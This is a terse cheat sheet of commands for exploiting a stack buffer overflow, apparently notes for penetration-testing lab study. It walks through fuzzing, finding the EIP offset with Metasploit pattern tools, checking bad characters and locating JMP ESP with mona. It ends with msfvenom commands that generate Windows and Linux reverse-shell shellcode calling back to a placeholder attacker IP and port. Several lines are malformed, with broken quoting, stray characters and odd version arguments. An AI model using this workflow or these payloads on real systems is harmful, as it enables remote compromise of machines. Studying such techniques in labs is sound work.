python -c "print('A' * 3000)
python 3 ../fuzzer.py
python 2 ../fuzzer2.py
/opt/metasploit/tools/exploit/pattern_create.rb -l <bufferlength>
/opt/metasploit/tools/exploit/pattern_offset.rb -l <bufferlength> -q <EIP-content>
msf-pattern_offset -l <bufferlength> -q <EIP>
mona msfpattern -l <bufferlength>
Fill offset variable in exploit buffer_overflow.py
../buffer_overflow.py
Execute buffer_overflow.py, EIP should contain BBBB
Execute bad_chars.py
and include it as payload. Always excluded is \x00
.
../bad_chars.py
Compare stack if any bad chars block exectuion of the payload following in the next steps.
!mona bytearray -b "\x00"
!mona compare -f <path_to_bytearray.bin> -a <ESP>
ESP
(32 bit binary) needs to be found to put it inside EIP
!mona modules
!mona jmp -r esp -m <exploitable_bin_from_modules>
buffer_overflow.py
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker-ip LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"